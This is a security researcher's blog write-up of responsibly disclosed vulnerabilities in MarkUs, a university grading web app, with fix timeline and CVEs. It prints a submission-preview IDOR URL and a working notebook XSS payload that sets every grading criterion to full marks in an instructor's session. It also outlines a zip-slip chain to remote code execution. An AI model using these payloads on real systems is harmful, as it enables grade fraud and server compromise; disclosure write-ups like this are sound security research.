First, I’ll explain what MarkUs is and why we went after it. Then I’ll walk through how a student account could view other students’ submissions, how we could get 100s on assignments/tests, and finally how we escalated to RCE. I’ll also cover a few other vulnerabilities we found along the way.
Important note: We responsibly disclosed these issues to the MarkUs team and did not use them for academic or personal gain or to affect anyone’s grades.
introduction
what is MarkUs?
MarkUs is a web app used for submitting and grading assignments. It helps students submit work, join groups, and view feedback, while TAs and instructors can grade, comment, manage groups, and release marks. It is used for almost all computer science courses at the University of Toronto and the University of Waterloo.
why we went after MarkUs
After a year of doing CTFs with UofTCTF, two friends (Jacky & Ibrahim) and I wanted to move from solving challenges to testing real-world targets. We wanted to apply what we had learned, find actual vulnerabilities, and report them responsibly. MarkUs felt like the perfect target: it is used in almost every UofT CS course, and since we had used it in many of our own courses as UofT CS majors, we already knew how it worked.
viewing any student’s submission
This was the first real bug I found, and it is what made me start looking deeper.
I was clicking around MarkUs with DevTools open, looking at how submissions were loaded. When I opened a submitted file from the grading page, one request stood out:
download_file?select_file_id=5299&show_in_browser=true&preview=trueThat select_file_id looked way too direct. So I changed the number and tried the same preview route again. Instead of blocking me, MarkUs rendered a different submitted file.
The code made it pretty clear why this worked. The preview route trusted the id directly:
def html_content if params[:select_file_id] file = SubmissionFile.find(params[:select_file_id]) file_contents = file.retrieve_file grouping = file.submission.grouping assignment = grouping.assignment # ... endendThat SubmissionFile.find(...) was the issue. It looked up the file globally instead of checking that the file belonged to the student, group, or result I was actually allowed to view.
The policy around the route did not really help either:
alias_rule :download?, :downloads?, :populate_file_manager?, :update_files?, :html_content?, to: :view_files?
def view_files? trueendThe first request went through download_file, but the browser preview eventually rendered through html_content, which accepted the same select_file_id. After that preview step, the dangerous URL looked like this:
/courses/1/assignments/2/submissions/html_content?select_file_id=5301
select_file_id was the whole trick. Change that number, and the preview returned a different submitted file.Because the lookup was global, that link could render a submitted file just because the id existed. The course and assignment in the URL did not really limit what came back. In simple words, the file id became the access control.
In other words, this was not limited to one class page or one assignment page. A student could keep changing that boxed number and walk through submissions from other groups, other assignments, and even courses they were not enrolled in on the same MarkUs instance.
That was already bad by itself, but the preview route had another problem: it did not only show plain submitted files. It also rendered notebook and RMarkdown submissions as HTML.
So if the selected file was a malicious .ipynb or .rmd, the same kind of preview link could become an XSS link. A student could submit a malicious notebook, grab its file id, and send the preview link to an instructor. When the instructor opened it, the script ran in the instructor’s MarkUs session.

exploiting grades: from 0 to 100
The previous bug COULD be used to exploit grades and other stuff through XSS (we confirmed it), but it still needed an instructor to open a weird preview link. This vuln was different: the instructor did not need to open some random-looking link. They just had to go through their normal grading flow, and they could still get attacked.
This started with the notebook and RMarkdown preview feature. MarkUs lets instructors preview submitted .ipynb and .rmd files while grading. To do that, it converts those files into HTML and renders the result in the grading page.
The bug was that MarkUs trusted that rendered HTML too much. If a student submitted a notebook with JavaScript inside it, the JavaScript could survive the conversion and run when the instructor opened the preview.
The first test was just an alert, because before thinking about grades we wanted to prove the browser was actually executing code from the submitted file.
click to expand the submitted notebook
{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "<h2>MarkUs grading preview XSS check</h2>\n", "<p>This notebook is the grading preview PoC.</p>\n", "<script>alert('XSS from instructor grading preview');document.documentElement.setAttribute('data-markus-grade-preview-xss','ran');</script>\n" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "name": "python", "version": "3.11" } }, "nbformat": 4, "nbformat_minor": 5}A student submits the notebook, the instructor opens it from the normal grading page, and the script runs.
Inside the normal grading page, the same submitted notebook fires while the instructor is logged in:

The important part is where it runs. This is not some isolated preview with no power. The notebook is loaded inside the grading interface while the instructor is logged in, so the script is same-origin with MarkUs and can talk to MarkUs like the rest of the page.
The main grading page did have CSP, but the notebook preview was loaded through the html_content response inside an iframe. That preview response only had report-only CSP, so the browser could report the issue without blocking the script.

To understand the grade impact, it helps to know how MarkUs grading is laid out. An assignment is split into criteria, which are basically the rows in the marks panel. One criterion might be worth 4 points, another might be worth 1 point, and the final assignment mark is calculated from those rows. When an instructor edits a row, MarkUs sends an update request for that criterion.
So the next notebook did exactly what the grading UI does, but from inside the submitted file. It read the current result from the grading page, grabbed the CSRF token, fetched the result JSON, found every criterion and its max mark, then updated each criterion to full marks.
click to expand the submitted grade-change notebook
{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# dynamic max grade local check\n", "<script>(async function(){\n", " const p=window.parent;\n", " const token=p.document.querySelector('meta[name=\"csrf-token\"]').content;\n", " const parts=p.location.pathname.split('/');\n", " const root='/' + parts[1];\n", " const course=parts[3];\n", " const result=parts[5];\n", " const data=await fetch(root + '/courses/' + course + '/results/' + result + '.json',{credentials:'same-origin'}).then(r=>r.json());\n", " for (const m of data.marks) {\n", " await fetch(root + '/courses/' + course + '/results/' + result + '/update_mark',{\n", " method:'PATCH',\n", " credentials:'same-origin',\n", " headers:{'Accept':'application/json','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','X-CSRF-Token':token},\n", " body:new URLSearchParams({criterion_id:m.id,mark:m.max_mark})\n", " });\n", " }\n", " document.documentElement.setAttribute('data-dynamic-max-grade-check','done');\n", "})();</script>\n" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "name": "python", "version": "3.11" } }, "nbformat": 4, "nbformat_minor": 5}We confirmed this locally on the open A1 grading result. It found eight criteria by itself and changed all eight to full marks: the three 4-point criteria became 4/4, and the five 1-point criteria became 1/1.
This PoC only changed the result the instructor had open. It was not automatically rewriting every assignment in the course, but that part would just be more bookkeeping: enumerate the other assignments/results first, then send the same kind of update requests. I didn’t add that here because the point is already clear. Once a student submission can run code in this browser context, grades are only one example. The same position could also edit feedback, release marks, change groups, create or delete assignments, change course settings, or view private course data.
pivoting to remote code execution !!!
At this point, the browser part was done. We could run JavaScript as an instructor from a submitted notebook. I was talking to my friends and said, imagine if we could get RCE on MarkUs too. So the next few hours became us looking for a server-side bug that an instructor session could reach.
The feature that stood out to me was assignment config upload. Instructors can export an assignment as a zip, then upload one back into MarkUs to recreate the settings, criteria, starter files, and automated test files.

The upload looked normal from the UI, but the zip parsing was the problem. There were two write paths: one for automated test files and one for starter files. Both trusted the file names inside the zip. MarkUs took entry.name, joined it with a server-side folder, made the directories, and wrote the file.
The vulnerable pattern looked like this:
zip_file.glob("automated-test-config-files/automated-test-files/**/*") do |entry| zip_path = Pathname.new(entry.name) name = zip_path.relative_path_from(CONFIG_FILES[:automated_tests_dir_entry]) path = File.join(assignment.autotest_files_dir, name.to_s)
FileUtils.mkdir_p(File.dirname(path)) File.write(path, entry.get_input_stream.read, mode: "wb")endThe missing part was a check that the final path still stayed inside the intended folder.
That meant a zip entry with ../ could climb out of the intended assignment folder. Instead of only writing into the automated test or starter file directory, the upload could write somewhere else on disk.
So now we had arbitrary file write. That is already bad, but the real question is where can you write? A file write becomes RCE when you can overwrite something the app actually executes.
We spun up MarkUs in Docker and ran LinPEAS inside the container to look for targets. The file that stood out was lib/repo/markus-git-shell.sh. MarkUs uses it as the SSH wrapper for repo access, so it runs when a student SSHs in or clones their course repo before the request gets passed to git.
That was the missing piece. Once we knew that file was the target, the malicious zip entry was just the automated-test folder path plus enough ../ to land on lib/repo/markus-git-shell.sh. The config zip could overwrite it, and then a normal student SSH/git action would trigger the overwritten script. The XSS gave us the instructor action needed to upload the zip, and the zip slip turned that into code execution on the MarkUs server.
In the final chain, the zip can just be base64-encoded inside the browser payload and posted through the instructor session. From there, triggering the shell script is just normal repo access.
I’m not publishing the full RCE PoC.
other findings
The main story was the vulnerabilities above, but those were not the only bugs we found. There were also a couple of less exciting denial-of-service issues we found along the way. They were not as flashy as getting code execution, but they still mattered because they let attacker-controlled input make MarkUs burn resources in ways it should not.
YAML billion laughs denial of service
One issue was in YAML parsing. MarkUs accepted YAML input in places where an attacker could give it a tiny file that expanded into a much larger object graph while being parsed. This is the classic “billion laughs” style bug: the payload looks small, but parsing it can eat a lot of memory/CPU and slow down or crash the process.
Zip bomb denial of service
The other issue was around zip handling. MarkUs processed uploaded zip files without enough limits on how large they became after extraction. That meant a small compressed upload could expand into a huge amount of data on the server, wasting disk space and resources.
timeline
- January 19, 2026 - Reported all vulnerabilities to the MarkUs maintainers.
- January 20, 2026 - Reports were accepted and GitHub security advisories were opened.
- January 29, 2026 - MarkUs
v2.9.1shipped the first fixes, including removing the insecurehtml_contentroute and validating assignment config zip entries. - February 27, 2026 - MarkUs
v2.9.4shipped the YAML and zip bomb DoS fixes. - February 9-March 5, 2026 - The advisories were published and the CVEs became public.
- March 11, 2026 - MarkUs
v2.9.5shipped the final HTML preview hardening.
CVEs
CVE-2026-25057- Critical (9.1): Zip slip arbitrary file write.CVE-2026-28405- High (8.0): XSS in submitted-file previews.CVE-2026-24900- Medium (6.5): Submission preview IDOR.CVE-2026-25962- Medium (6.5): Zip bomb denial of service.CVE-2026-27807- Medium (4.9): YAML alias expansion denial of service.
I’ll be posting more security research and writeups on X/Twitter, so follow me there if you want to see more.